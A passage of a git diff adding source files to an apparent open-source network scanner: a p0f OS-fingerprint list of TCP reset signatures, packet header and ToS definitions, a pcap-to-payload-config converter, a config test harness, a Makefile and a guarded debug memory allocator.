+0:255:0:40:.:K0A:Linux:2.0/2.2 (refused) +0:64:1:40:.:K0A:FreeBSD:4.8 (refused) +0:64:1:40:.:K0ZA:Linux:recent 2.4 (refused) + +0:128:0:40:.:K0A:Windows:XP/2000 (refused) +0:128:0:40:.:K0UA:-Windows:XP/2000 while browsing (refused) + +###################################### +# Connection dropped / timeout - RST # +###################################### + +0:64:1:40:.:.:FreeBSD:4.8 (dropped) +0:255:0:40:.:.:Linux:2.0/2.2 or IOS 12.x (dropped) +0:64:1:40:.:Z:Linux:recent 2.4 (dropped) +0:255:1:40:.:Z:Linux:early 2.4 (dropped) +0:32:0:40:.:.:Xylan:OmniSwitch / Linksys WAP11 AP (dropped) +0:64:1:40:.:U:NetIron:load balancer (dropped) + +0:128:1:40:.:QA:Windows:XP/2000 (dropped 2) +0:128:1:40:.:A:-Windows:XP/2000 while browsing (1) (dropped 2) +0:128:1:40:.:QUA:-Windows:XP/2000 while browsing (2) (dropped 2) +0:128:1:40:.:UA:-Windows:XP/2000 while browsing a lot (dropped 2) +0:128:1:40:.:.:@Windows:98 (?) (dropped) + +0:64:0:40:.:A:Ascend:TAOS or BayTech (dropped 2) + +*:255:0:40:.:QA:Cisco:LocalDirector (dropped 2) + +0:64:1:40:.:A:Hasbani:WindWeb (dropped 2) +S23:255:1:40:.:.:Solaris:2.5 (dropped) + +####################################################### +# Connection dropped / timeout - RST with description # +####################################################### + +0:255:1:58:.:D:MacOS:9.x "No TCP/No listener" (seldom SunOS 5.x) (dropped) +0:255:1:53:.:D:MacOS:8.5 "no tcp, reset" (dropped) +0:255:1:65:.:D:MacOS:X "tcp_close, during connect" (dropped) +0:255:1:54:.:D:MacOS:X "tcp_disconnect" (dropped) +0:255:1:62:.:D:HP/UX:? "tcp_fin_wait_2_timeout" (dropped) +32768:255:1:54:.:D:MacOS:8.5 "tcp_disconnect" (dropped) +0:255:1:63:.:D:@Unknown: "Go away" device (dropped) + +0:255:0:62:.:D:SunOS:5.x "new data when detached" (1) (dropped) +32768:255:1:62:.:D:SunOS:5.x "new data when detached" (2) (dropped) +0:255:1:67:.:D:SunOS:5.x "tcp_lift_anchor, can't wait" (dropped) + +0:255:0:46:.:D:HP/UX:11.00 "No TCP" (dropped) + +# More obscure ones: +# 648:255:1:54:.:D:MacOS:??? "tcp_disconnect" (dropped) +# 0:45:1:53:.:D:MacOS:7.x "no tcp, reset" (dropped) + +############################################## +# Connection dropped / timeout - broken RSTs # +############################################## + +S12:255:1:58:.:KAD:Solaris:2.x "tcp_disconnect" (dropped, lame) +S43:64:1:40:.:KA:AOL:proxy (dropped, lame) +*:64:1:40:.:KA:FreeBSD:4.8 (dropped, lame) +*:64:1:52:N,N,T:KAT:Linux:2.4 (?) (dropped, lame) +0:255:0:40:.:KAF:3Com:SuperStack II (dropped, lame) +*:255:0:40:.:KA:Intel:Netport print server (dropped, lame) +*:150:0:40:.:KA:Linksys:BEF router (dropped, lame) + +*:32:0:44:.:KZD:@NetWare:??? "ehnc" (dropped, lame) +0:64:0:40:.:KQ0:BayTech:RPC-3 telnet host (dropped, lame) + +############################################# +# Connection dropped / timeout - extra data # +############################################# + +*:255:0:*:.:KAD:Cisco:IOS/PIX NAT + data (1) (dropped, lame) +0:255:0:*:.:D:Windows:NT 4.0 SP6a + data (dropped) +0:255:0:*:.:K0AD:Isolation:Infocrypt accelerator + data (dropped, lame) + +*:255:0:*:.:AD:Cisco:IOS/PIX NAT + data (2) (dropped) + +*:64:1:*:N,N,T:KATD:Linux:2.4 (?) + data (dropped, lame) +*:64:1:*:.:KAD:FreeBSD:4.8 + data (dropped, lame) + + + diff --git a/src/tools/p0f/tcp.h b/src/tools/p0f/tcp.h new file mode 100644 index 0000000..ed944f8 --- /dev/null +++ b/src/tools/p0f/tcp.h @@ -0,0 +1,67 @@ +/* + + p0f - portable TCP/IP headers + ----------------------------- + + Well. + + Copyright (C) 2003 by Michal Zalewski + +*/ + +#ifndef _HAVE_TCP_H +#define _HAVE_TCP_H + +#define TCPOPT_EOL 0 /* End of options */ +#define TCPOPT_NOP 1 /* Nothing */ +#define TCPOPT_MAXSEG 2 /* MSS */ +#define TCPOPT_WSCALE 3 /* Window scaling */ +#define TCPOPT_SACKOK 4 /* Selective ACK permitted */ +#define TCPOPT_TIMESTAMP 8 /* Stamp out timestamping! */ + +#define IP_DF 0x4000 /* dont fragment flag */ +#define IP_MF 0x2000 /* more fragments flag */ + +#define TH_FIN 0x01 +#define TH_SYN 0x02 +#define TH_RST 0x04 +#define TH_PUSH 0x08 +#define TH_ACK 0x10 +#define TH_URG 0x20 +/* Stupid ECN flags: */ +#define TH_ECE 0x40 +#define TH_CWR 0x80 + +struct ip_header { + uint8_t ihl, /* IHL */ + tos; /* type of service */ + uint16_t tot_len, /* total length */ + id, /* identification */ + off; /* fragment offset + DF/MF */ + uint8_t ttl, /* time to live */ + proto; /* protocol */ + uint16_t cksum; /* checksum */ + uint32_t saddr, /* source */ + daddr; /* destination */ +}; + + +struct tcp_header { + uint16_t sport, /* source port */ + dport; /* destination port */ + uint32_t seq, /* sequence number */ + ack; /* ack number */ +#if BYTE_ORDER == LITTLE_ENDIAN + uint8_t _x2:4, /* unused */ + doff:4; /* data offset */ +#else /* BYTE_ORDER == BIG_ENDIAN */ + uint8_t doff:4, /* data offset */ + _x2:4; /* unused */ +#endif + uint8_t flags; /* flags, d'oh */ + uint16_t win; /* wss */ + uint16_t cksum; /* checksum */ + uint16_t urg; /* urgent pointer */ +}; + +#endif /* ! _HAVE_TCP_H */ diff --git a/src/tools/p0f/tos.h b/src/tools/p0f/tos.h new file mode 100644 index 0000000..99b814b --- /dev/null +++ b/src/tools/p0f/tos.h @@ -0,0 +1,67 @@ +/* + + p0f - ToS database + ------------------ + + A list of known and used ToS / priority combinations. Rare settings + actually describe the originating network (since specific ISPs tend + to set those values for all outgoing traffic). More popular settings + are just described per their RFC meaning. + + The field we examine is actually 8 bits in the following format: + + PPP TTTT Z + | | `- "must be zero" (yeah, sure) + | `------ Type of Service + `---------- Precedence bits (now used to denote priority) + + But all this is usually just called "ToS". The "must be zero" + value is often, well, not zero, of course. + + Copyright (C) 2003 by Michal Zalewski + +*/ + +#ifndef _HAVE_TOS_H +#define _HAVE_TOS_H + +struct tos_def { + uint8_t tos; + const uint8_t* desc; +}; + + +/* THIS LIST MUST BE SORTED FROM LOWEST TO HIGHEST ToS */ + +/* Candidates: + + 1 Tiscali Denmark (must-be-zero!) + 3 InfoAve (must-be-zero!) + 5 AOL (must-be-zero!) + 200 Borlange Sweden + 96 Nextra + 28 Menta + 192 techtelnet.net + + */ + +static struct tos_def tos[] = { + { 2, "low cost" }, /* LC */ + { 4, "high reliability" }, /* HR */ + { 8, "low delay" }, /* LD */ + { 12, "DNA.FI / CTINETS" }, /* LD, HR */ + { 16, "high throughput" }, /* HT */ + { 32, "priority1" }, /* PRI1 */ + { 40, "UTFORS Sweden" }, /* PRI1, LD */ + { 64, "Tiscali Denmark" }, /* PRI2 */ + { 80, "Bredband Scandinavia" }, /* PRI2, HT */ + { 112, "Bonet Sweden" }, /* PRI3, HT */ + { 128, "Cable.BG / Teleca.SE" }, /* PRI4 */ + { 144, "IPTelecom / Alkar" }, /* PRI4, HT */ + { 244, "top priority" }, /* PRI7 */ + { 255, "Arcor IP" }, /* (bad) */ +}; + +#define TOS_CNT (sizeof(tos) / sizeof(struct tos_def)) + +#endif /* ! _HAVE_TOS_H */ diff --git a/src/tools/unibrow.c b/src/tools/unibrow.c new file mode 100644 index 0000000..11efd50 --- /dev/null +++ b/src/tools/unibrow.c @@ -0,0 +1,346 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include + +#include + +#include + +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include + +#define MAX_WIDTH 80 + +int ident; +const char *ident_name_ptr; +settings_t *s=NULL; +static int headerlen=0; +static int verbose=0; +FILE *outfp=NULL; + +static void usage(const char *) _NORETURN_; +void process_packet(uint8_t *, const struct pcap_pkthdr *, const uint8_t *); + +#define OPTS "i:o:hv" + +int main(int argc, char ** argv) { + char errbuf[PCAP_ERRBUF_SIZE], *pfilter=NULL, *readfile=NULL; + pcap_t *pdev=NULL; + bpf_u_int32 net=0; + struct bpf_program filter; + int ch=0; + + ident=IDENT_ANY; + ident_name_ptr="Pcpl"; + + s=(settings_t *)xmalloc(sizeof(settings_t)); + memset(s, 0, sizeof(settings_t)); + s->vi=(interface_info_t **)xmalloc(sizeof(interface_info_t *)); + s->vi[0]=(interface_info_t *)xmalloc(sizeof(interface_info_t)); + memset(s->vi, 0, sizeof(interface_info_t)); + s->ss=(scan_settings_t *)xmalloc(sizeof(scan_settings_t)); + memset(s->ss, 0, sizeof(scan_settings_t)); + s->verbose=3; + + s->_stdout=stdout; + s->_stderr=stderr; + + while ((ch=getopt(argc, argv, OPTS)) != -1) { + switch (ch) { + case 'i': + readfile=xstrdup(optarg); + break; + + case 'o': + outfp=fopen(optarg, "a+"); + if (outfp == NULL) { + terminate("cant open output file `%s'", optarg); + } + break; + + case 'v': + verbose++; + break; + + case 'h': + default: + usage(argv[0]); + break; + } + } + + if (outfp == NULL) { + outfp=stdout; + } + + if (readfile == NULL || strlen(readfile) < 1) usage(argv[0]); + + if (!(optind < argc)) { + pfilter=xstrdup("tcp or udp"); + } + else { + for ( ; argv[optind] != NULL ; optind++) { + if (pfilter == NULL) { + pfilter=xstrdup(argv[optind]); + } + else { + char *nnew=NULL, *nptr=NULL; + size_t t=0; + + t=strlen(pfilter) + strlen(argv[optind]) + 2; + nnew=(char *)xmalloc(t); + memset(nnew, 0, t); + + nptr=nnew; + memcpy(nptr, pfilter, strlen(pfilter)); + nptr += strlen(pfilter); + *nptr=' '; + nptr++; + memcpy(nptr, argv[optind], strlen(argv[optind])); + pfilter=nnew; + } + } + } + + memset(errbuf, 0, sizeof(errbuf)); + + pdev=pcap_open_offline(readfile, errbuf); + if (pdev == NULL) { + ERR("error: %s", errbuf); + exit(1); + } + + if (pcap_compile(pdev, &filter, pfilter, 0, net) < 0) { + ERR("pcap filter is from mars: %s", pcap_geterr(pdev)); + exit(1); + } + + if (pcap_setfilter(pdev, &filter) < 0) { + ERR("pcap setfilter didnt work: %s", pcap_geterr(pdev)); + exit(1); + } + + if ((headerlen=util_getheadersize(pdev, errbuf)) < 0) { + ERR("cant get header length: %s", errbuf); + exit(1); + } + + xfree(pfilter); + + pcap_loop(pdev, 0, &process_packet, NULL); + + exit(0); +} + +typedef struct newpl_t { + const char *data; + uint16_t dport; + int32_t sport; + uint8_t proto; +} newpl_t; + +#define BUF_SIZE 128 + +void process_packet(uint8_t *user, const struct pcap_pkthdr *phdr, const uint8_t *packet) { + size_t len=0, fab=0; + int j=0; + packetlayers_t plz[8]; + union { + const struct myudphdr *u; + const struct mytcphdr *t; + const uint8_t *ptr; + } p_u; + char *proto=NULL, linebuf[BUF_SIZE]; + uint16_t dport=0; + int sport=-1; + const uint8_t *dataptr=NULL; + size_t datalen=0, print=0, doff=0, loff=0; + int sret=0, nl=0; + + if (packet == NULL) return; + + len=phdr->caplen; + + fab=packet_slice(packet, len, &plz[0], 8, PKLTYPE_ETH); + + VRB(0, "/*"); + + for (j=0 ; j < 8 ; j++) { + if (plz[j].type == 0) break; + VRB(0, "--type %s stat %s ptr %p len " STFMT "--", strpklayer(plz[j].type), strpkstat(plz[j].stat), plz[j].ptr, plz[j].len); + if (plz[j].type == PKLTYPE_UDP && dport == 0 && sport == -1) { + assert(plz[j].len == sizeof(struct myudphdr)); + + p_u.ptr=plz[j].ptr; + + dport=ntohs(p_u.u->dest); + sport=ntohs(p_u.u->source); + + proto=xstrdup("udp"); + } + else if (plz[j].type == PKLTYPE_TCP && dport == 0 && sport == -1) { + assert(plz[j].len == sizeof(struct mytcphdr)); + + p_u.ptr=plz[j].ptr; + + dport=ntohs(p_u.t->dest); + sport=ntohs(p_u.t->source); + + proto=xstrdup("tcp"); + } + else if (plz[j].type == PKLTYPE_PAYLOAD) { + dataptr=plz[j].ptr; + datalen=plz[j].len; + } + if (verbose) { if (plz[j].len) hexdump(plz[j].ptr, plz[j].len); } + } + VRB(0, "*/"); + + for (doff=0, print=0 ; doff < datalen ; doff++) { + if (isprint(dataptr[doff]) || isspace(dataptr[doff])) { + print++; + } + } + + CLEAR(linebuf); + if (datalen && dataptr != NULL && proto != NULL) { + OUT("\t%s %u %d {", proto, dport, sport); + if (print == datalen) { + for (doff=0 ; doff < datalen ; doff++) { + if (isprint(dataptr[doff]) && dataptr[doff] != '\"') { + sret=snprintf(&linebuf[loff], sizeof(linebuf) - (1 + loff), "%c", dataptr[doff]); + } + else { + switch (dataptr[doff]) { + case '\040': /* i'm damaged */ + sret=snprintf(&linebuf[loff], sizeof(linebuf) - (1 + loff), " "); + break; + case '\f': /* you're damaged */ + sret=snprintf(&linebuf[loff], sizeof(linebuf) - (1 + loff), "\\f"); + break; + case '\n': /* i'm your damage */ + sret=snprintf(&linebuf[loff], sizeof(linebuf) - (1 + loff), "\\n"); + nl=1; + break; + case '\r': /* ||||||| ||||||| */ + sret=snprintf(&linebuf[loff], sizeof(linebuf) - (1 + loff), "\\r"); + break; + case '\t': /* ||||||| ||||||| ||||||| ||||||| */ + sret=snprintf(&linebuf[loff], sizeof(linebuf) - (1 + loff), "\\t"); + break; + case '\v': /* ||||||| ||||||| ||||||| ||||||| */ + sret=snprintf(&linebuf[loff], sizeof(linebuf) - (1 + loff), "\\v"); + break; + case '\"': /* ||||||| ||||||| ||||||| ||||||| */ + sret=snprintf(&linebuf[loff], sizeof(linebuf) - (1 + loff), "\\\""); + break; + default: /* ||||||| ||||||| */ + ERR("ive only got this default case so i fit in with the others"); + exit(1); + } + } + if (sret < 1) { + ERR("ack, truncated buffer, exiting"); + break; + } + loff += (size_t) sret; + if (loff + 1 == sizeof(linebuf)) { + ERR("ack truncation!!!"); + break; + } + if (nl == 1) { + OUT("\t\t\"%s\"", linebuf); + CLEAR(linebuf); nl=0; loff=0; + } + if (loff >= MAX_WIDTH) { + OUT("\t\t\"%s\"", linebuf); + CLEAR(linebuf); loff=0; + } + } /* for each char */ + } /* end printable payload */ + else { + int csf=0; + char strings[BUF_SIZE]; + size_t soff=0; + + CLEAR(strings); + for (doff=0 ; doff < datalen ; doff++) { + sret=snprintf(&linebuf[loff], sizeof(linebuf) - (1 + loff), "\\x%02x", dataptr[doff]); + csf++; + + assert((soff + 1) < sizeof(strings)); + + if (isprint(dataptr[doff])) { + strings[soff++]=dataptr[doff]; + } + else { + strings[soff++]='.'; + } + + if (sret < 1) { + ERR("ack, truncated buffer, exiting"); + break; + } + loff += (size_t) sret; + if (loff + 1 == sizeof(linebuf)) { + ERR("Ack truncation!!!"); + break; + } + if ((csf % 16) == 0) { + OUT("\t\t\"%s\"\t/* %s */", linebuf, strings); + CLEAR(linebuf); loff=0; csf=0; CLEAR(strings); soff=0; + } + } /* for each non-printable char */ + if (loff) { + OUT("\t\t\"%s\"\t/* %s */", linebuf, strings); + } + } /* end hex output */ + + OUT("\t};"); + } + + if (proto != NULL) xfree(proto); + + return; +} + +static void usage(const char *progname) { + fprintf(stderr, "Usage: %s:\n" + "\t-i\t*for pcap file to read\n" + "\t-o\t for output file (append mode)\n" + "\t-v\t verbose operation\n" + "\t-h\t display help that you are reading\n" + "[*] required argument\n" + "pcap filter expression follows options, like %s -o new.conf -i file.pcap port 500 and udp\n", + progname, progname + ); + + exit(0); +}; diff --git a/src/tools/unicfgtst.c b/src/tools/unicfgtst.c new file mode 100644 index 0000000..5326043 --- /dev/null +++ b/src/tools/unicfgtst.c @@ -0,0 +1,116 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include +#include +#include + +int ident; +const char *ident_name_ptr; +static void *kvq=NULL; + +settings_t *s=NULL; + +int main(int argc, char ** argv) { + if (argc != 2) { + printf("Usage: test (conf file)\n"); + exit(1); + } + + ident=IDENT_ANY; + ident_name_ptr=IDENT_ANY_NAME; + + s=(settings_t *)xmalloc(sizeof(settings_t)); + memset(s, 0, sizeof(settings_t)); + s->vi=(interface_info_t **)xmalloc(sizeof(interface_info_t *)); + s->vi[0]=(interface_info_t *)xmalloc(sizeof(interface_info_t)); + memset(s->vi[0], 0, sizeof(interface_info_t)); + s->ss=(scan_settings_t *)xmalloc(sizeof(scan_settings_t)); + memset(s->ss, 0, sizeof(scan_settings_t)); + s->verbose=3; + s->_stdout=stdout; + s->_stderr=stderr; + + if (readconf(argv[1])) { + keyval_t *kv=NULL; + mod_params_t *mp=NULL; + + for (mp=s->mod_params ; mp != NULL ; mp=mp->next) { + printf("Module `%s'\n", mp->name); + for (kv=mp->kv ; kv != NULL ; kv=kv->next) { + printf("\tKey: `%s' Value: `%s'\n", kv->key, kv->value); + } + } + } + else { + fprintf(stderr, "Error parsing configuration from `%s'\n", argv[1]); + exit(1); + } + exit(0); +} + +int add_payload(uint16_t proto, uint16_t port, int32_t local_port, const uint8_t *payload, uint32_t payload_size, int (*create_payload)(uint8_t **, uint32_t *), uint16_t payload_flags) { + printf("Added payload for proto %u dport %u sport %d size %u payload group %u\n", proto, port, local_port, payload_size, payload_flags); + return 1; +} + +int add_default_payload(uint16_t proto, int32_t local_port, const uint8_t *payload, uint32_t payload_size, int (*create_payload)(uint8_t **, uint32_t *), uint16_t payload_flags) { + printf("Added default payload for proto %u sport %d size %u payload group %u\n", proto, local_port, payload_size, payload_flags); + return 1; +} + +void *scan_optmap(const char *key, const char *val) { + printf("Option `%s'=`%s'\n", key, val); + return NULL; +} +void *scan_optmapi(const char *key, int val) { + printf("Option `%s'=%d\n", key, val); + return NULL; +} + +void scan_modaddkeyval(const char *key, const char *value) { + char str[512]; + if (kvq == NULL) kvq=fifo_init(); + snprintf(str, sizeof(str) -1, "%s=%s", key, value); + fifo_push(kvq, xstrdup(str)); +} + +void scan_collectkeyval(const char *modname) { + union { + void *ptr; + char *str; + } c_u; + printf("Module: %s\n", modname); + + if (kvq == NULL) { + fprintf(stderr, "Blank module line?\n"); + exit(1); + } + + while ((c_u.ptr=fifo_pop(kvq)) != NULL) { + printf("\t%s\n", c_u.str); + xfree(c_u.ptr); + } + + fifo_destroy(kvq); + kvq=NULL; +} diff --git a/src/unilib/Makefile.in b/src/unilib/Makefile.in new file mode 100644 index 0000000..ccdc799 --- /dev/null +++ b/src/unilib/Makefile.in @@ -0,0 +1,35 @@ +include ../../Makefile.inc + +SRCS=arch.c chtbl.c cidr.c drone.c gtod.c intf.c modules.c output.c panic.c pcaputil.c prng.c qfifo.c rbtree.c route.c settings.c sleep.c socktrans.c standard_dns.c terminate.c tsc.c xdelay.c xipc.c xmalloc.c xpoll.c pktutil.c +HDRS=arch.h chtbl.h cidr.h drone.h intf.h modules.h output.h panic.h pcaputil.h prng.h qfifo.h rbtree.h route.h socktrans.h standard_dns.h terminate.h xdelay.h xipc.h xmalloc.h xpoll.h pktutil.h xipc_private.h + +OBJS=$(SRCS:.c=.lo) +LIBNAME=libunilib.la + +xmalloc.c: _xmalloc.c + ln -s _xmalloc.c xmalloc.c + +xmalloc.h: _xmalloc.h + ln -s _xmalloc.h xmalloc.h + +prng.c: mt19937ar.c + ln -s mt19937ar.c prng.c + +all: $(LIBNAME) xmalloc.c xmalloc.h prng.c + +tsc.lo: tsc.c + $(LIBTOOL) --mode=compile $(CC) -g -c -o tsc.lo tsc.c -I.. $(CINCS) + +$(OBJS): $(HDRS) + +$(LIBNAME): $(OBJS) + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) -o $(LIBNAME) $(OBJS) + +clean: + $(LIBTOOL) --mode=clean rm -f $(OBJS) + $(LIBTOOL) --mode=clean rm -f $(LIBNAME) + +distclean: clean + +install: all +uninstall: diff --git a/src/unilib/_xdebug.c b/src/unilib/_xdebug.c new file mode 100644 index 0000000..d521eff --- /dev/null +++ b/src/unilib/_xdebug.c @@ -0,0 +1,544 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include + +#include +#include + +#include +#include +#include + +static char *my_strdup(const char *, const char *, unsigned int); +static void xdebug_display_memory(FILE *, void *, size_t); +static void xdebug_verify_guard(void *, size_t ); + +#define STRICT 1 + +typedef struct memchunk_t { + struct memchunk_t *next; + void *p; + size_t sz; + char *file; + unsigned int lineno; + int realloced; +} memchunk_t; + +static memchunk_t *head=NULL; +static uint32_t guard=0x410043ef; + +static void xdebug_atexit(void) __attribute__((destructor)); +static void xdebug_start(void) __attribute__((constructor)); +static void xdebug_dumpleak(int /* not used */); + +static size_t track(void *, size_t, const char *, unsigned int, int); + +#define ACTION_MALLOCED 1 +#define ACTION_REALLOCED 2 +#define ACTION_FREED 3 +#define ACTION_GETSIZE 4 + +static void xdebug_start(void) { + struct sigaction sa; + + sa.sa_handler=xdebug_dumpleak; + sa.sa_flags=0; + sigemptyset(&sa.sa_mask); + + if (sigaction(XDEBUG_SIGNAL, &sa, NULL) < 0) { + ERR("sigaction failts: %s", strerror(errno)); + } + + srand(getpid()); + + /* + * this guard stuff was never really intended for security, but what the heck, lets at least + * add a bit of spice to the mix + */ + guard ^= (UINT_MAX & (unsigned int)rand()); + + /* fprintf(stderr, "signal %d to dump memory in real time", XDEBUG_SIGNAL); */ +} + +static size_t track(void *pointer, size_t len, const char *file, unsigned int lineno, int action) { + + if (action == ACTION_MALLOCED) { + memchunk_t *walk=NULL, *old=NULL; + + if (head == NULL) { + head=(memchunk_t *)malloc(sizeof(memchunk_t)); + assert(head != NULL); + head->next=NULL; + head->p=pointer; + head->sz=len; + if (file != NULL) { + size_t sz=0; + + sz=strlen(file) + 1; + head->file=malloc(sz); + assert(head->file != NULL); + memcpy(head->file, file, sz - 1); + head->file[sz - 1]='\0'; + } + else { + head->file=NULL; + } + head->lineno=lineno; + head->realloced=0; + + return head->sz; + } + + for (walk=head ; walk->next != NULL ; old=walk, walk=walk->next) { + ; + } + + walk->next=(memchunk_t *)malloc(sizeof(memchunk_t)); + walk=walk->next; + walk->next=NULL; + walk->p=pointer; + walk->sz=len; + if (file != NULL) { + size_t sz=0; + + sz=strlen(file) + 1; + walk->file=malloc(sz); + assert(walk->file != NULL); + memcpy(walk->file, file, sz - 1); + walk->file[sz - 1]='\0'; + } + else { + walk->file=NULL; + } + walk->lineno=lineno; + walk->realloced=0; + + return walk->sz; + } + else if (action == ACTION_FREED) { + memchunk_t *old=NULL, *walk=NULL; + int found=0; + size_t ret=0; + + if (head == NULL) { + PANIC("free non-existant pointer (head null)"); + } + for (walk=head ; walk != NULL ; old=walk, walk=walk->next) { + if (walk->p == pointer) { + found=1; + ret=walk->sz; + break; + } + } + if (found == 0) { + PANIC("delting non-existant pointer (not on list)"); + } + assert(walk != NULL); + if (old == NULL) { + assert(walk == head); + if (head->next == NULL) { + head=NULL; + } + else { + head=head->next; + } + if (walk->file != NULL) { + free(walk->file); + walk->file=NULL; + } + free(walk); + walk=NULL; + } + else { + assert(old->next == walk); + old->next=walk->next; + if (walk->file != NULL) { + free(walk->file); + walk->file=NULL; + } + free(walk); + walk=NULL; + } + + return ret; + } + else if (action == ACTION_GETSIZE) { + memchunk_t *walk=NULL; + + if (head == NULL) { + PANIC("getsize for non-existant pointer (head null)"); + } + for (walk=head ; walk != NULL ; walk=walk->next) { + if (walk->p == pointer) { + return walk->sz; + } + } + PANIC("getsize for non-existant pointer"); + } + else { + PANIC("track unknown action"); + } + + return 0; +} + +void *_xmalloc(size_t n, const char *file, unsigned int lineno) { + union { + uint32_t *g; + char *w; + void *p; + } g_u; + char *e=NULL; + +#ifdef STRICT + if (n < 1) { + PANIC("attempt to allocate 0 or less bytes of memory"); + } +#endif + + g_u.p=malloc(n + (sizeof(uint32_t) * 2)); + if (g_u.p == NULL) { + PANIC("malloc failed"); + } + + memset(g_u.p, 0x41, n); + *g_u.g=guard; + e=(char *)g_u.p; + e += (sizeof(uint32_t) + n); + *(uint32_t *)e=guard; + + track(g_u.p, n, file, lineno, ACTION_MALLOCED); + g_u.g++; + return g_u.p; +} + +void *_xcalloc(size_t n, size_t l, const char *file, unsigned int lineno) { + void *p=NULL; + size_t asz=0; + + asz=n * l; + +#ifdef STRICT + assert(asz > n && asz > l); +#endif + + p=_xmalloc(asz, file, lineno); + + memset(p, 0, asz); + + return p; +} + +void *_xrealloc(void *obuf, size_t n, const char *file, unsigned int lineno) { + union { + uint32_t *g; + void *p; + } g_u, ng_u; + size_t sz=0; + + if (obuf == NULL) { +#ifndef STRICT + return _xmalloc(n, file, lineno); +#else + PANIC("attempt to realloc a null pointer"); +#endif + } + +#ifdef STRICT + if (n < 1) { + PANIC("attempt to increase allocation by 0 bytes"); + } +#endif + +#ifndef STRICT + if (n == 0) { + __xfree(obuf, file, lineno); + return NULL; + } +#endif + + g_u.p=obuf; + g_u.g--; + if (*g_u.g != guard) { + PANIC("guard %08x != %08x, heap corruption", *g_u.g, guard); + } + sz=track(g_u.p, 0, file, lineno, ACTION_GETSIZE); + g_u.g++; + +#ifdef STRICT + assert(n > sz); +#endif + + ng_u.p=_xmalloc(n, file, lineno); + + memcpy(ng_u.p, g_u.p, sz); + + __xfree(g_u.p, file, lineno); + + return ng_u.p; +} + +void __xfree(void *p, const char *file, unsigned int lineno) { + union { + uint32_t *g; + void *p; + char *c; + } g_u; + char *e=NULL; + size_t sz=0; + +#ifdef STRICT + if (p == NULL) { + PANIC("attempt to free a NULL pointer"); + } +#else + if (p == NULL) { + return; + } +#endif + g_u.p=p; + g_u.g--; + if (*g_u.g != guard) { + PANIC("guard %08x != %08x, heap corruption", *g_u.g, guard); + } + e=g_u.p; + + sz=track(g_u.p, 0, file, lineno, ACTION_FREED); + + e += (sz + sizeof(uint32_t)); + if (*(uint32_t *)e != guard) { + PANIC("guard %08x != %08x, heap corruption", *(uint32_t *)e, guard); + } + + memset(g_u.p, 0x42, sz + (sizeof(uint32_t) * 2)); + + free(g_u.p); + g_u.p=NULL; + + return; +} + +char *_xstrdup(const char *p, const char *file, unsigned int lineno) { + char *_p=NULL; + +#ifdef STRICT + if (p == NULL || strlen(p) < 1) { + PANIC("Attempt to dup a %s string", p == NULL ? "null" : "blank"); + } +#endif + + _p=my_strdup(p, file, lineno); + if (_p == NULL) { + PANIC("strdup failed"); + } + + return _p; +} + +static char *my_strdup(const char *in, const char *file, unsigned int lineno) { + size_t asz=0; + char *ret=NULL; + + asz=strlen(in) + 1; + ret=_xmalloc(asz, file, lineno); + memcpy(ret, in, asz - 1); + ret[asz - 1]='\0'; + + return ret; +} + +static void xdebug_dumpleak(int unused) { + memchunk_t *walk=NULL, *old=NULL; + char *fname=NULL; + FILE *out=NULL; + + if ((fname=getenv("XDEBUG_OUTFILE")) != NULL) { + out=fopen(fname, "w+"); + if (out == NULL) { + ERR("fopen `%s' fails, using stderr: %s", fname, strerror(errno)); + out=stderr; + } + } + else { + out=stderr; + } + + for (walk=head ; walk != NULL ; old=walk, walk=walk->next) { + xdebug_verify_guard(walk->p, walk->sz); + + fprintf(out, "leak %p size %zu%s from %s:%u\n", walk->p, walk->sz, walk->realloced == 0 ? "" : " Reallocated", walk->file, walk->lineno); + if (getenv("XDEBUG_LEAKDUMP") != NULL) { + xdebug_display_memory(out, walk->p, walk->sz); + } + } + + return; +} + +static void xdebug_atexit(void) { + memchunk_t *walk=NULL, *old=NULL; + char *fname=NULL; + FILE *out=NULL; + + if ((fname=getenv("XDEBUG_OUTFILE")) != NULL) { + out=fopen(fname, "w+"); + if (out == NULL) { + ERR("fopen `%s' fails, using stderr: %s", fname, strerror(errno)); + out=stderr; + } + } + else { + out=stderr; + } + + if (getenv("XDEBUG_LEAK") != NULL) { + for (walk=head ; walk != NULL ; old=walk, walk=walk->next) { + xdebug_verify_guard(walk->p, walk->sz); + + fprintf(out, "leak %p size %zu%s from %s:%u\n", walk->p, walk->sz, walk->realloced == 0 ? "" : " Reallocated", walk->file, walk->lineno); + if (getenv("XDEBUG_LEAKDUMP") != NULL) { + xdebug_display_memory(out, walk->p, walk->sz); + } + if (old != NULL) { + if (old->file != NULL) { + free(old->file); 